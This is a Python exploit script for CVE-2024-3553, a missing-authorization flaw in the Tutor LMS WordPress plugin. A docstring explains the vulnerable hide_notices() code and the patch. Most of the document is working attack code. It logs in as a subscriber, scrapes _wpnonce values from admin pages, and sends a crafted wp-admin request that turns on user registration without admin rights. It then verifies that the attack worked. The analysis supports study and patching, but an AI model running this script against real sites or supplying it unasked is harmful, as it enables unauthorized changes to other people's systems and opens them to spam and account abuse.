#!/usr/bin/env python3 """ CVE-2024-3553 Exploit - Tutor LMS Missing Authorization Vulnerability (Version 2) Author: Security Researcher Date: 2024 This exploit demonstrates the missing capability check in the hide_notices() function that allows any authenticated user (even subscribers) to enable user registration. VULNERABILITY ANALYSIS: The vulnerable code in classes/User.php (version 2.6.2): public function hide_notices() { $hide_notice = Input::get( 'tutor-hide-notice', '' ); $is_register_enabled = Input::get( 'tutor-registration', '' ); if ( is_admin() && 'registration' === $hide_notice ) { tutor_utils()->checking_nonce( 'get' ); if ( 'enable' === $is_register_enabled ) { update_option( 'users_can_register', 1 ); // <-- Missing capability check! } else { self::$hide_registration_notice = true; setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath ); } } } KEY VULNERABILITY POINTS: 1. is_admin() only checks if we're in the admin area, NOT if user is an administrator 2. ANY authenticated user can access /wp-admin/ (even subscribers) 3. The nonce check happens AFTER is_admin(), and nonces can be obtained by any logged-in user 4. NO capability check like current_user_can('manage_options') 5. This allows subscribers/low-privilege users to enable registration PATCHED CODE (version 2.7.0): Added: $has_manage_cap = current_user_can( 'manage_options' ); And checks this capability before allowing the option update. """ import argparse import requests import sys from urllib.parse import urljoin import re class TutorLMSExploit: def __init__(self, target_url, username=None, password=None): self.target_url = target_url.rstrip('/') self.username = username self.password = password self.session = requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' }) def create_subscriber_account(self): """ Create a low-privilege subscriber account to demonstrate the vulnerability. This simulates an attacker who has created an account on the site. """ print("[*] Step 1: Attempting to create a subscriber account...") # Check if registration is already enabled register_url = urljoin(self.target_url, '/wp-login.php?action=register') response = self.session.get(register_url) if 'user_login' not in response.text: print("[-] Registration is disabled. Cannot create test account.") print("[!] This is actually what we're trying to exploit - but we need an existing account") print("[!] For testing, we'll use provided credentials or admin account") return False print("[+] Registration is enabled, creating test subscriber account...") # Generate test credentials import random import string rand_suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=6)) test_user = f'testuser_{rand_suffix}' test_email = f'{test_user}@example.com' test_pass = 'TestPass123!' # Register the account register_data = { 'user_login': test_user, 'user_email': test_email, 'submit': 'Register' } response = self.session.post(register_url, data=register_data) if 'check your email' in response.text.lower() or response.status_code == 200: print(f"[+] Subscriber account created: {test_user}") self.username = test_user self.password = test_pass # WordPress sends password via email, but for testing we can try default return True else: print("[-] Failed to create subscriber account") return False def login(self): """Login to WordPress with the provided credentials.""" print(f"\n[*] Attempting to login as: {self.username}") login_url = urljoin(self.target_url, '/wp-login.php') login_data = { 'log': self.username, 'pwd': self.password, 'wp-submit': 'Log In', 'redirect_to': urljoin(self.target_url, '/wp-admin/'), 'testcookie': '1' } response = self.session.post(login_url, data=login_data, allow_redirects=True) # Check if login was successful if 'wp-admin' in response.url or 'dashboard' in response.text.lower() or 'profile.php' in response.text: print(f"[+] Successfully logged in as: {self.username}") return True else: print(f"[-] Failed to login as: {self.username}") return False def get_nonce_from_admin(self): """ Get a nonce from the WordPress admin area. Any authenticated user can access /wp-admin/ and obtain nonces. """ print("\n[*] Step 2: Extracting nonce from admin area...") # Access the admin dashboard # Even subscribers can access /wp-admin/, they just see limited options admin_url = urljoin(self.target_url, '/wp-admin/') response = self.session.get(admin_url) if response.status_code != 200: print(f"[-] Failed to access admin area: {response.status_code}") return None # WordPress generates nonces for various actions # We need a nonce for the 'tutor_nonce_action' action # However, the checking_nonce function typically looks for _wpnonce parameter # Look for any WordPress nonce in the page nonce_patterns = [ r'_wpnonce["\']?\s*[:=]\s*["\']([a-f0-9]+)["\']', r'_wpnonce=([a-f0-9]+)', r'name=["\']_wpnonce["\']\s+value=["\']([a-f0-9]+)["\']', r'wpnonce["\']?\s*[:=]\s*["\']([a-f0-9]+)["\']' ] for pattern in nonce_patterns: match = re.search(pattern, response.text, re.IGNORECASE) if match: nonce = match.group(1) print(f"[+] Found nonce: {nonce}") return nonce # If we can't find a general nonce, we need to generate one # WordPress nonces are based on: action, user, timestamp # We can try to get one from any admin page action # Try to get nonce from the profile page profile_url = urljoin(self.target_url, '/wp-admin/profile.php') response = self.session.get(profile_url) for pattern in nonce_patterns: match = re.search(pattern, response.text, re.IGNORECASE) if match: nonce = match.group(1) print(f"[+] Found nonce from profile page: {nonce}") return nonce print("[-] Could not extract nonce from admin pages") return None def generate_tutor_nonce(self): """ Alternative approach: Generate a nonce for the tutor_nonce_action. This requires accessing a page that creates this specific nonce. """ print("\n[*] Attempting to generate Tutor-specific nonce...") # The admin notice itself generates the nonce we need # But it only shows if registration is disabled AND user is admin # However, we can try to access Tutor pages that might generate nonces tutor_pages = [ '/wp-admin/admin.php?page=tutor', '/wp-admin/admin.php?page=tutor_settings', '/wp-admin/index.php' # Dashboard might show the notice ] for page in tutor_pages: url = urljoin(self.target_url, page) response = self.session.get(url) # Look for tutor nonce nonce_match = re.search(r'_tutor_nonce["\']?\s*[:=]\s*["\']([a-f0-9]+)["\']', response.text, re.IGNORECASE) if not nonce_match: nonce_match = re.search(r'tutor-hide-notice=registration[^"]*_wpnonce=([a-f0-9]+)', response.text) if nonce_match: nonce = nonce_match.group(1) print(f"[+] Found Tutor nonce from {page}: {nonce}") return nonce return None def check_registration_status(self): """Check if user registration is currently enabled.""" print("\n[*] Checking current registration status...") register_url = urljoin(self.target_url, '/wp-login.php?action=register') response = self.session.get(register_url, allow_redirects=False) if response.status_code == 302 or 'disabled' in response.text.lower(): print("[+] Registration is currently DISABLED") return False elif 'user_login' in response.text: print("[+] Registration is currently ENABLED") return True else: print("[?] Registration status unclear") return None def exploit(self, nonce): """ Execute the exploit to enable user registration. This exploits the missing capability check in hide_notices() by: 1. Being logged in as any user (even subscriber) 2. Accessing the admin area (/wp-admin/) which sets is_admin() to true 3. Providing the required GET parameters 4. Passing nonce validation 5. No capability check prevents us from updating the option """ print(f"\n[*] Step 3: Executing exploit to enable user registration...") print(f"[*] Target: {self.target_url}") print(f"[*] Using nonce: {nonce}") # Construct the exploit URL # The hide_notices() function is triggered on 'admin_init' hook # So we need to make a request to any admin page with the right parameters exploit_url = urljoin(self.target_url, '/wp-admin/index.php') params = { 'tutor-hide-notice': 'registration', 'tutor-registration': 'enable', '_wpnonce': nonce # WordPress standard nonce parameter } print(f"[*] Exploit URL: {exploit_url}") print(f"[*] Parameters: {params}") try: response = self.session.get(exploit_url, params=params, allow_redirects=True) print(f"[*] Response status: {response.status_code}") if response.status_code == 200: print("[+] Exploit request sent successfully!") return True else: print(f"[-] Unexpected response: {response.status_code}") return False except Exception as e: print(f"[-] Error during exploitation: {str(e)}") return False def verify_success(self): """Verify that the exploit was successful.""" print("\n[*] Step 4: Verifying exploitation success...") import time time.sleep(1) # Brief delay for changes to propagate status = self.check_registration_status() print("\n" + "=" * 70) if status == True: print("[!] EXPLOITATION SUCCESSFUL!") print("[!] User registration is now ENABLED") print("[!] ") print("[!] Impact: An attacker with a low-privilege account (subscriber)") print("[!] was able to enable user registration on a site where it was") print("[!] disabled. This could allow creation of additional accounts,") print("[!] potentially leading to spam or unauthorized access.") print("=" * 70) return True elif status == False: print("[-] EXPLOITATION FAILED") print("[-] User registration is still DISABLED") print("=" * 70) return False else: print("[?] EXPLOITATION STATUS UNCLEAR") print("[?] Manual verification recommended") print("=" * 70) return None def run(self): """Execute the complete exploitation chain.""" print("=" * 70) print("CVE-2024-3553 Exploit - Tutor LMS Missing Authorization") print("Target: " + self.target_url) print("=" * 70) # Check initial registration status initial_status = self.check_registration_status() if initial_status == True: print("\n[!] Registration is already enabled.") print("[!] For demonstration, this should be disabled first.") return False # Login with provided credentials if not self.username or not self.password: print("\n[-] No credentials provided. Cannot proceed without authentication.") print("[!] This vulnerability requires an authenticated user.") print("[!] Use --username and --password parameters") return False if not self.login(): return False # Get nonce nonce = self.get_nonce_from_admin() if not nonce: nonce = self.generate_tutor_nonce() if not nonce: print("\n[-] Failed to obtain nonce. Exploitation cannot continue.") return False # Execute exploit if self.exploit(nonce): return self.verify_success() else: print("\n[-] Exploitation failed during request phase") return False def main(): parser = argparse.ArgumentParser( description='CVE-2024-3553 Exploit - Tutor LMS Missing Authorization', formatter_class=argparse.RawDescriptionHelpFormatter ) parser.add_argument('target', help='Target WordPress URL (e.g., https://example.com)') parser.add_argument('--username', '-u', help='WordPress username (can be subscriber/low-privilege user)') parser.add_argument('--password', '-p', help='WordPress password') parser.add_argument('--check-only', action='store_true', help='Only check registration status') args = parser.parse_args() exploit = TutorLMSExploit(args.target, args.username, args.password) if args.check_only: exploit.check_registration_status() else: success = exploit.run() sys.exit(0 if success else 1) if __name__ == '__main__': main()